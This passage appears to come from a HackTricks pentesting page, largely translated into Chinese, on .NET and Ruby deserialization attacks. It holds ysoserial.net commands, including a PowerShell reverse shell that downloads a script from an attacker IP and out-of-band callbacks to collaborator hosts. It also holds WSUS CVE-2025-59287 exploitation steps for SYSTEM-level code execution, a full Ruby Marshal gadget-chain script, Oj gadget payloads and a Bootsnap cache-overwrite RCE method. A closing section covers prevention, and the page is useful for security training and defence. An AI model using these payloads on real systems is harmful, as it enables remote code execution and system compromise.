The search should target the Base64 encoded string AAEAAAD///// or any similar pattern that might undergo deserialization on the server-side, granting control over the type to be deserialized. This could include, but is not limited to, JSON or XML structures featuring TypeObject or $type.

ysoserial.net

In this case you can use the tool ysoserial.net in order to create the deserialization exploits. Once downloaded the git repository you should compile the tool using Visual Studio for example.

If you want to learn about how does ysoserial.net creates it’s exploit you can check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

The main options of ysoserial.net are: --gadget, --formatter, --output and --plugin.

  • --gadget used to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands).
  • --formatter, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it)
  • --output used to indicate if you want the exploit in raw or base64 encoded. Note that ysoserial.net will encode the payload using UTF-16LE (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some encoding compatibility problems that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn’t mean it will always work).
  • --plugin ysoserial.net supports plugins to craft exploits for specific frameworks like ViewState

More ysoserial.net parameters

  • --minify will provide a smaller payload (if possible)
  • --raf -f Json.Net -c "anything" This will indicate all the gadgets that can be used with a provided formatter (Json.Net in this case)
  • --sf xml you can indicate a gadget (-g)and ysoserial.net will search for formatters containing “xml” (case insensitive)

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net 还有一个 非常有趣的参数,有助于更好地理解每个 exploit 的工作原理:--test
如果你指定了这个参数,ysoserial.net尝试 这个 exploit(在本地), 这样你就可以测试你的 payload 是否能正确工作。
这个参数很有用,因为如果你查看代码,你会发现像下面这样的代码片段(来自 ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

这意味着为了测试 exploit,代码将调用 serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

前面的代码容易受到所创建的 exploit 利用。因此,如果你在 .Net 应用中发现类似情况,说明该应用很可能也存在漏洞。
因此 --test 参数可以帮助我们识别哪些代码片段易受 ysoserial.net 可生成的 deserialization exploit 利用。

ViewState

查看 这篇帖子,说明如何尝试利用 .Net 的 __ViewState 参数执行任意代码。 如果你已经知道受害机器使用的秘密(secrets),请阅读这篇文章了解如何执行代码

真实场景 sink:WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • 受影响的端点:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie():AuthorizationCookie 被解密,然后用 BinaryFormatter 反序列化。
  • /ReportingWebService.asmx → ReportEventBatch 和相关的 SOAP 操作会到达 SoapFormatter sinks;当 WSUS 控制台接收事件时,会处理 base64 gadget。
  • 根本原因:攻击者可控的字节到达遗留的 .NET 格式化器(BinaryFormatter/SoapFormatter),且没有严格的 allow‑lists/binders,导致 gadget chains 以 WSUS 服务账号(通常为 SYSTEM)的权限执行。

最小化利用(Reporting 路径):

  1. 使用 ysoserial.net 生成一个 .NET gadget(BinaryFormatter 或 SoapFormatter),并输出 base64,例如:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. ReportEventBatch 构造 SOAP,将 base64 gadget 嵌入其中并 POST 到 /ReportingWebService.asmx
  2. 当管理员打开 WSUS 控制台时,该事件会被反序列化,gadget 会触发(RCE 以 SYSTEM 权限)。

AuthorizationCookie / GetCookie()

  • 伪造的 AuthorizationCookie 可以被接受、解密,并传递到 BinaryFormatter sink,从而在可访问时实现 pre‑auth RCE。

Public PoC (tecxx/CVE-2025-59287-WSUS) 参数:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

参见 Windows Local Privilege Escalation – WSUS

预防

为降低 .Net 中与 deserialization 相关的风险:

  • 避免让数据流定义其对象类型。 在可能的情况下使用 DataContractSerializerXmlSerializer
  • 对于 JSON.Net,将 TypeNameHandling 设置为 None TypeNameHandling = TypeNameHandling.None
  • 避免将 JavaScriptSerializerJavaScriptTypeResolver 一起使用。
  • 限制可以被 deserialized 的类型, 并理解 .Net 类型本身的风险,例如 System.IO.FileInfo 可以修改服务器文件的属性,可能导致拒绝服务(DoS)攻击。
  • 对具有危险属性的类型保持警惕, 例如 System.ComponentModel.DataAnnotations.ValidationException 及其 Value 属性,可能被利用。
  • 安全地控制类型实例化, 以防止攻击者影响 deserialization 过程,从而使即使是 DataContractSerializerXmlSerializer 也变得脆弱。
  • 通过为 BinaryFormatterJSON.Net 使用自定义 SerializationBinder 实现白名单控制。
  • 了解 .Net 中已知的不安全 deserialization gadgets,并确保反序列化器不实例化这些类型。
  • 将潜在风险代码与具有互联网访问的代码隔离, 以避免将已知 gadgets(例如 WPF 应用中的 System.Windows.Data.ObjectDataProvider)暴露给不受信任的数据源。

参考资料

Ruby

在 Ruby 中,serialization 是通过 marshal 库中的两个方法来实现的。第一个方法,称为 dump,用于将对象转换为字节流(即 serialization)。相反,第二个方法 load 用于将字节流还原为对象(即 deserialization)。

为了保护 serialized 对象,Ruby 使用 HMAC (Hash-Based Message Authentication Code) 来确保数据的完整性和真实性。用于此目的的密钥存放在下列位置之一:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (更多信息见 https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Other RCE chain to exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() 方法

正如 this vulnerability report 所述,如果一些未经过过滤的用户输入到达 Ruby 对象的 .send() 方法,该方法允许 以任意参数调用对象的任何其他方法

例如,调用 eval 并将 Ruby 代码作为第二个参数将允许执行任意代码:

<Object>.send('eval', '<user input with Ruby code>') == RCE

此外,如前文所述,如果攻击者只控制 .send() 的一个参数,就可以调用对象中任何 不需要参数 或其参数具有 默认值 的方法。
为此,可以枚举该对象的所有方法,以 找到满足这些要求的一些有趣方法

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

查看如何可能在此处 pollute a Ruby class and abuse it in here

Ruby _json pollution

当在请求体中发送一些不可被 hash 化(例如 array)的值时,它们会被加入到一个名为 _json 的新键中。然而,攻击者也可以在请求体中设置一个名为 _json 的值为其任意希望的内容。然后,例如如果后端先检查某个参数的真实性,但又使用 _json 参数来执行某些操作,就可能发生授权绕过。

更多信息请参见 Ruby _json pollution page

其他库

该技术取自 from this blog post.

还有其他 Ruby 库可用于序列化对象,因此在不安全的反序列化过程中可能被滥用以获得 RCE。下表列出了一些此类库,以及在反序列化时会调用的库内部方法(基本上是可用于获取 RCE 的函数):

输入数据类内部的触发方法
Marshal (Ruby)Binary_load
OjJSONhash (类需要作为键放入 hash(map) 中)
OxXMLhash (类需要作为键放入 hash(map) 中)
Psych (Ruby)YAMLhash (类需要作为键放入 hash(map) 中)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

基本示例:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

在尝试滥用 Oj 的情况下,可以找到一个 gadget class,其在 hash 函数内部会调用 to_sto_s 会调用 spec,而 spec 会调用 fetch_path,可以让它去获取一个随机 URL,从而成为检测此类 unsanitized deserialization vulnerabilities 的很好的手段。

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

此外,发现使用之前的技术会在系统中创建一个文件夹,这是滥用另一个 gadget 的先决条件,从而可以将其转化为完整的 RCE,类似于:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

有关更多细节,请查看 original post.

Bootstrap 缓存

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

下面是文章中利用 Bootsnap 缓存滥用任意文件写入漏洞以实现 RCE 的步骤简要摘要:

  • 识别漏洞与环境

Rails 应用的文件上传功能允许攻击者任意写入文件。虽然应用以受限方式运行(由于 Docker 的非 root 用户,只有某些目录如 tmp 可写),但这仍然允许写入 Bootsnap 缓存目录(通常位于 tmp/cache/bootsnap 下)。

  • 了解 Bootsnap 的缓存机制

Bootsnap 通过缓存已编译的 Ruby 代码、YAML 和 JSON 文件来加速 Rails 启动。它存储的缓存文件包含一个 cache key header(字段如 Ruby 版本、文件大小、mtime、compile options 等),随后是已编译的代码。此 header 在应用启动时用于验证缓存。

  • 收集文件元数据

攻击者首先选择一个在 Rails 启动期间可能会被加载的目标文件(例如来自 Ruby 标准库的 set.rb)。通过在容器内执行 Ruby 代码,他们提取关键元数据(例如 RUBY_VERSION、RUBY_REVISION、size、mtime 和 compile_option)。这些数据对于构造有效的 cache key 至关重要。

  • 计算缓存文件路径

通过复现 Bootsnap 的 FNV-1a 64-bit 哈希机制,可以确定正确的缓存文件路径。此步骤确保恶意缓存文件被放置在 Bootsnap 期望的位置(例如 tmp/cache/bootsnap/compile-cache-iseq/ 下)。

  • 构造恶意缓存文件

攻击者准备一个 payload,该 payload:

  • 执行任意命令(例如运行 id 来显示进程信息)。
  • 在执行后删除恶意缓存以防止递归利用。
  • 加载原始文件(例如 set.rb)以避免使应用崩溃。

该 payload 被编译为二进制 Ruby 代码,并与精心构造的 cache key header 连接(使用先前收集的元数据和正确的 Bootsnap 版本号)。

  • 覆写并触发执行

利用任意文件写入漏洞,攻击者将构造好的缓存文件写入计算出的路径。接着,他们触发服务器重启(通过写入 tmp/restart.txt,Puma 会监控该文件)。在重启过程中,当 Rails require 目标文件时,恶意缓存文件被加载,导致远程代码执行 (RCE)。

Ruby Marshal exploitation in practice (updated)

将任何不受信任的字节到达 Marshal.load/marshal_load 的路径视为 RCE sink。Marshal 在反序列化过程中重建任意对象图,并在实体化期间触发库/gem 的回调。

  • 最小的易受影响的 Rails 代码路径:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • 在真实 chains 中常见的 gadget 类: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • 典型的嵌入在 payloads 中的副作用标记(在 unmarshal 期间执行):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Where it surfaces in real apps:

  • Rails 的 cache stores 和 session stores,历史上常使用 Marshal
  • 后台作业后端(background job backends)和基于文件的对象存储(file-backed object stores)
  • 任何自定义的二进制对象 blob 的持久化或传输

Industrialized gadget discovery:

  • 使用 grep 查找构造函数、hash_loadinit_with,或在 unmarshal 期间被调用的有副作用的方法
  • 使用 CodeQL 的 Ruby unsafe deserialization 查询来追踪 sources → sinks 并暴露 gadgets
  • 使用公开的多格式 PoCs (JSON/XML/YAML/Marshal) 进行验证

References

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks